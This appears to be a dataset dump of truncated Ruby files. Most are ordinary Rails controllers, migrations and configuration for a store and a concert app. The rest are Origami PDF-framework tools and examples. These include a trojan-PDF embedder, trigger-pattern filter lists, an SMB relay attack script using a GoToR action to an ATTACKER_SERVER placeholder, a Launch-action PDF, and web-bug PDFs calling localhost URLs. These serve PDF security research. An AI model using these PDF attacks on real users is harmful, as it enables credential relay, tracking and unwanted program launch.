code
stringlengths
1
1.73M
language
stringclasses
1 value
class CategoriasController < ApplicationController # GET /categorias # GET /categorias.json def index @categorias = Categoria.all :include => :father respond_to do |format| format.html # index.html.erb format.json { render json: @categorias } end end # GET /categorias/1 # GET /cate...
Ruby
#encoding: utf-8 class UsuariosController < ApplicationController # GET /usuarios # GET /usuarios.json def index @usuarios = Usuario.all respond_to do |format| format.html # index.html.erb format.json { render json: @usuarios } end end # GET /usuarios/1 # GET /usuarios/1.json def...
Ruby
#encoding: utf-8 class PaginasController < ApplicationController # GET /paginas # GET /paginas.json def index @paginas = Pagina.all respond_to do |format| format.html # index.html.erb format.json { render json: @paginas } end end # GET /paginas/1 # GET /paginas/1.json def show ...
Ruby
class MenusController < ApplicationController # GET /menus # GET /menus.json def index @menus = Menu.all respond_to do |format| format.html # index.html.erb format.json { render json: @menus } end end # GET /menus/1 # GET /menus/1.json def show @menu = Menu.find(params[:id]) ...
Ruby
class ItemMenusController < ApplicationController # GET /item_menus # GET /item_menus.json def index @item_menus = ItemMenu.all respond_to do |format| format.html # index.html.erb format.json { render json: @item_menus } end end # GET /item_menus/1 # GET /item_menus/1.json def sh...
Ruby
class HomesController < ApplicationController # GET /homes # GET /homes.json def index #@categories = Category.find(:all, include: :products); #@productsBanner = Product.where("active = true and highlight = true") @produtosDestaque = Produto.where("ativo = true and destaque = true").limit 6 resp...
Ruby
class ApplicationController < ActionController::Base protect_from_forgery end
Ruby
class ClientesController < ApplicationController # GET /clientes # GET /clientes.json def index @clientes = Cliente.all respond_to do |format| format.html # index.html.erb format.json { render json: @clientes } end end # GET /clientes/1 # GET /clientes/1.json def show @client...
Ruby
class ImagensController < ApplicationController # GET /imagens # GET /imagens.json def index @imagens = Imagem.all respond_to do |format| format.html # index.html.erb format.json { render json: @imagens } end end # GET /imagens/1 # GET /imagens/1.json def show @imagem = Image...
Ruby
#!/usr/bin/env rake # Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. require File.expand_path('../config/application', __FILE__) Comptec::Application.load_tasks
Ruby
#!/usr/bin/env ruby # This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. APP_PATH = File.expand_path('../../config/application', __FILE__) require File.expand_path('../../config/boot', __FILE__) require 'rails/commands'
Ruby
#!/usr/bin/env ruby # This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. APP_PATH = File.expand_path('../../config/application', __FILE__) require File.expand_path('../../config/boot', __FILE__) require 'rails/commands'
Ruby
#!/usr/bin/env rake # Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. require File.expand_path('../config/application', __FILE__) Comptec::Application.load_tasks
Ruby
source 'https://rubygems.org' gem 'rails', '3.2.13' # Bundle edge Rails instead: # gem 'rails', :git => 'git://github.com/rails/rails.git' gem 'mysql2' # Gems used only for assets and not required # in production environments by default. group :assets do gem 'sass-rails', '~> 3.2.3' gem 'coffee-rails', '~> 3...
Ruby
class AddIndexToImagem < ActiveRecord::Migration def change add_index :imagens, :owner_type add_index :imagens, :owner_id end end
Ruby
class CreateClientes < ActiveRecord::Migration def change create_table :clientes do |t| t.string :empresa t.string :contato t.string :email t.string :telefone t.string :endereco t.string :cidade t.string :estado t.timestamps end end end
Ruby
class CreateCategorias < ActiveRecord::Migration def change create_table :categorias do |t| t.string :nome t.integer :pai t.boolean :permitirProdutos t.boolean :ativo t.timestamps end end end
Ruby
class AlterColumnDetalheToProduto < ActiveRecord::Migration def up remove_column :produtos, :detalhe add_column :produtos, :detalhe, :text end def down end end
Ruby
class RenameColumnCategoriaFromProdutos < ActiveRecord::Migration def up rename_column :produtos, :categoria, :categoria_id end def down end end
Ruby
class RenameColumnPaiFromCategoria < ActiveRecord::Migration def up rename_column :categorias, :pai, :father_id end def down end end
Ruby
class CreateMenus < ActiveRecord::Migration def change create_table :menus do |t| t.string :nome t.boolean :ativo t.timestamps end end end
Ruby
class AddAttachmentFotoToImagens < ActiveRecord::Migration def self.up change_table :imagens do |t| t.attachment :foto end end def self.down drop_attached_file :imagens, :foto end end
Ruby
class CreateAcaoItemMenus < ActiveRecord::Migration def change create_table :acao_item_menus do |t| t.string :nome t.timestamps end end end
Ruby
class RenameIdItemExibirFromItemMenu < ActiveRecord::Migration def up rename_column :item_menus, :idItemExibir, :acao_item_menu_id end def down end end
Ruby
class CreateProdutos < ActiveRecord::Migration def change create_table :produtos do |t| t.integer :categoria t.string :nome t.string :detalhe t.boolean :banner t.boolean :destaque t.boolean :sugestao t.boolean :ativo t.timestamps end end end
Ruby
class RenameItemExibirFromItemMenu < ActiveRecord::Migration def up rename_column :item_menus, :acao_item_menu_id, :acao_id rename_column :item_menus, :itemExibir, :acao_item_id end def down end end
Ruby
class CreateUsuarios < ActiveRecord::Migration def change create_table :usuarios do |t| t.string :login t.string :senha t.string :email t.boolean :ativo t.timestamps end end end
Ruby
class CreateImagens < ActiveRecord::Migration def change create_table :imagens do |t| t.string :titulo t.integer :owner_id t.string :owner_type t.timestamps end end end
Ruby
class RenameColumnMenuFromItemMenu < ActiveRecord::Migration def up rename_column :item_menus, :menu, :menu_id end def down end end
Ruby
class CreateItemMenus < ActiveRecord::Migration def change create_table :item_menus do |t| t.integer :menu t.string :nome t.integer :itemExibir t.integer :idItemExibir t.integer :pai t.boolean :ativo t.timestamps end end end
Ruby
class CreatePaginas < ActiveRecord::Migration def change create_table :paginas do |t| t.string :titulo t.string :detalhes t.timestamps end end end
Ruby
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) # Mayor.create(name: 'Emanuel...
Ruby
# This file is used by Rack-based servers to start the application. require ::File.expand_path('../config/environment', __FILE__) run Comptec::Application
Ruby
ENV["RAILS_ENV"] = "test" require File.expand_path('../../config/environment', __FILE__) require 'rails/test_help' class ActiveSupport::TestCase # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. # # Note: You'll currently still have to declare fixtures explicitly in integrati...
Ruby
require 'net/https' puts 'starting...' def random_word alphabet = ('a'..'z').to_a (1..12).inject("") { |s,x| s << alphabet[rand(alphabet.size)]} end class GoogleAuth def self.login(email, password) http = Net::HTTP.new('www.google.com', 443) http.use_ssl = true path = '/accounts/ClientLogi...
Ruby
css_dir = "." sass_dir = "." images_dir = "." fonts_dir = "fonts" relative_assets = true output_style = :compact line_comments = false preferred_syntax = :scss
Ruby
module ConcertsHelper end
Ruby
module ApplicationHelper end
Ruby
module AttendeesHelper end
Ruby
module Users::OmniauthCallbacksHelper end
Ruby
module WelcomeHelper end
Ruby
class User < ActiveRecord::Base # Include default devise modules. Others available are: # :token_authenticatable, :confirmable, # :lockable, :timeoutable and :omniauthable devise :database_authenticatable, :registerable, :recoverable, :rememberable, :trackable, :validatable devise :omniauthable, :omn...
Ruby
class Attendee < ActiveRecord::Base attr_accessible :user_id, :concert_id belongs_to :user belongs_to :concert end
Ruby
class Concert < ActiveRecord::Base attr_accessible :city, :facebook_page, :name, :start_time, :state, :twitter_tag, :zip has_many :attendees has_many :users, :through => :attendees end
Ruby
class WelcomeController < ApplicationController def home end end
Ruby
class ApplicationController < ActionController::Base protect_from_forgery end
Ruby
class ConcertsController < ApplicationController protect_from_forgery :except => :create def index @concerts = Concert.all respond_to do |format| format.html # index.html.erb format.json { render json: @concerts } end end def show @concert = Concert.find(params[:id]) respond_...
Ruby
class Users::OmniauthCallbacksController < Devise::OmniauthCallbacksController def twitter raise env['omniauth.auth'].to_yaml end def facebook raise env['omniauth.auth'].to_yaml end private def redirect_user(user) if user.persisted? flash.notice = "Signed in!" sign_in_...
Ruby
class AttendeesController < ApplicationController def index @concert = Concert.find(params[:concert_id]) @attendees = @concert.attendees respond_to do |format| format.html # index.html.erb format.json { render json: @attendees.map { |attendee| attendee.user}.to_json(:only => [:id, :email]...
Ruby
source 'https://rubygems.org' gem 'rails', '3.2.8' gem 'devise' gem 'omniauth' gem 'omniauth-facebook' gem 'omniauth-twitter' gem 'omniauth-google-oauth2' # Bundle edge Rails instead: # gem 'rails', :git => 'git://github.com/rails/rails.git' gem 'sqlite3' # Gems used only for assets and not required # in productio...
Ruby
ENV["RAILS_ENV"] = "test" require File.expand_path('../../config/environment', __FILE__) require 'rails/test_help' class ActiveSupport::TestCase # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. # # Note: You'll currently still have to declare fixtures explicitly in integrati...
Ruby
# This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). # # Examples: # # cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) # Mayor.create(name: 'Emanuel...
Ruby
class CreateAttendees < ActiveRecord::Migration def change create_table :attendees do |t| t.integer :user_id t.integer :concert_id t.timestamps end end end
Ruby
class DeviseCreateUsers < ActiveRecord::Migration def change create_table(:users) do |t| ## Database authenticatable t.string :email, :null => false, :default => "" t.string :encrypted_password, :null => false, :default => "" ## Recoverable t.string :reset_password_to...
Ruby
class AddOmniAuthToUsers < ActiveRecord::Migration def change add_column :users, :provider, :string add_column :users, :uid, :string end end
Ruby
class CreateConcerts < ActiveRecord::Migration def change create_table :concerts do |t| t.string :name t.string :city t.string :state t.string :zip t.datetime :start_time t.string :twitter_tag t.string :facebook_page t.timestamps end end end
Ruby
#!/usr/bin/env rake # Add your own tasks in files placed in lib/tasks ending in .rake, # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. require File.expand_path('../config/application', __FILE__) ConcertScoopServer::Application.load_tasks
Ruby
# This file is used by Rack-based servers to start the application. require ::File.expand_path('../config/environment', __FILE__) run ConcertScoopServer::Application
Ruby
ConcertScoopServer::Application.routes.draw do devise_for :users, :controllers => {:omniauth_callbacks => "users/omniauth_callbacks"} root :to => 'welcome#home' resources :concerts do resources :attendees end end
Ruby
require File.expand_path('../boot', __FILE__) require 'rails/all' if defined?(Bundler) # If you precompile assets before deploying to production, use this line Bundler.require(*Rails.groups(:assets => %w(development test))) # If you want your assets lazily compiled in production, use this line # Bundler.requi...
Ruby
ConcertScoopServer::Application.configure do # Settings specified here will take precedence over those in config/application.rb # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart...
Ruby
ConcertScoopServer::Application.configure do # Settings specified here will take precedence over those in config/application.rb # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for ...
Ruby
ConcertScoopServer::Application.configure do # Settings specified here will take precedence over those in config/application.rb # Code is not reloaded between requests config.cache_classes = true # Full error reports are disabled and caching is turned on config.consider_all_requests_local = false co...
Ruby
require 'rubygems' # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
Ruby
Rails.application.config.middleware.use OmniAuth::Builder do # provider :developer unless Rails.env.production? provider :twitter, CONFIG[:twitter_key], CONFIG[:twitter_secret] end
Ruby
# Be sure to restart your server when you modify this file. # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } # You can also remove all the silencers if you're trying to debug a probl...
Ruby
# Be sure to restart your server when you modify this file. ConcertScoopServer::Application.config.session_store :cookie_store, key: '_concert_scoop_server_session' # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information # (create the ses...
Ruby
# Be sure to restart your server when you modify this file. # # This file contains settings for ActionController::ParamsWrapper which # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. ActiveSupport.on_load(:action_controller) do wrap_parameters ...
Ruby
# Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. # If you change this key, all old signed cookies will become invalid! # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attac...
Ruby
# Use this hook to configure devise mailer, warden hooks and so forth. # Many of these configuration options can be set straight in your model. Devise.setup do |config| # ==> Mailer Configuration # Configure the e-mail address which will be shown in Devise::Mailer, # note that it will be overwritten if you use yo...
Ruby
# Be sure to restart your server when you modify this file. # Add new mime types for use in respond_to blocks: # Mime::Type.register "text/richtext", :rtf # Mime::Type.register_alias "text/html", :iphone
Ruby
# Be sure to restart your server when you modify this file. # Add new inflection rules using the following format # (all these examples are active by default): # ActiveSupport::Inflector.inflections do |inflect| # inflect.plural /^(ox)$/i, '\1en' # inflect.singular /^(ox)en/i, '\1' # inflect.irregular 'person', ...
Ruby
# Load the rails application require File.expand_path('../application', __FILE__) # Initialize the rails application ConcertScoopServer::Application.initialize!
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Embeds and PDF document into a trojan PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Fre...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Encrypts a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, eit...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Prints out the metadata contained in a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Fr...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Uncompresses all binary streams of a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: This is a PDF document filtering engine using Origami. Security policies are based on a white list of PDF features. Default policies details can be found in the default configuration file. You can also add your...
Ruby
#!/usr/bin/env ruby =begin = Info Convert a PDF document to an Origami script. Experimental. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, ...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Generates a Graphviz DOT or GraphML file out of a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Decrypts a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, eit...
Ruby
#!/usr/bin/env ruby =begin = File walker.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser Ge...
Ruby
=begin = File treeview.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
=begin = File hexview.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License...
Ruby
=begin = File textview.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
=begin = File xrefs.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License a...
Ruby
=begin = File console.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami if ARGV.size < 2 puts "Usage: #{__FILE__} <signature> <files>" end SIG = ARGV.shift ARGV.each do |file| pdf = PDF.read(file, :verbosity => P...
Ruby
require 'optparse' class OptParser def self.parse(args) options = {} opts = OptionParser.new do |opts| opts.banner = "Usage: #{$0} [options] <arguments>" opts.on("-i", "--input PDFFILE", "Input pdf") do |i| options[:input] = i end op...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami require 'getopt.rb' pdf, output_name, type = get_params() TRIGGER_PATTERNS = [ 'OpenAction', 'AA', 'Names' ] ACTIONS_PATTERNS = [ 'GoTo', 'GoToE'...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami if ARGV.size < 1 puts "Usage: #{__FILE__} <files>" end ARGV.each do |file| pdf = PDF.read(file, :verbosity => Parser::VERBOSE_QUIET) script...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) index = 1 pages = pdf.pages pages.each { |page| page.onOpen(Action...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) pages = pdf.pages pages.each { |page| page.onOpen(Action::Named.new...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami # # SMB relay attack. # Uses a GoToR action to open a shared network directory. # ATTACKER_SERVER = "localhost" pdf = PDF.read(ARGV[0]) dst = Ex...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new contents ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new contents ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" params = Action::Launch::WindowsLaunchParams.new params.F = "C:\\\\WINDOWS\\\\system32\\\\not...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-js.pdf" JSCRIPTFILE = "submitform.js" puts "Now generating a new PDF file from scratch!" contents = ContentStream.new.setFil...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-browser.pdf" puts "Now generating a new bugged PDF file from scratch!" URL = "http://localhost/webbug-browser.html" pdf = P...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-reader.pdf" URL = "http://localhost/webbug-reader.php" puts "Now generating a new bugged PDF file from scratch!" pdf = PDF....
Ruby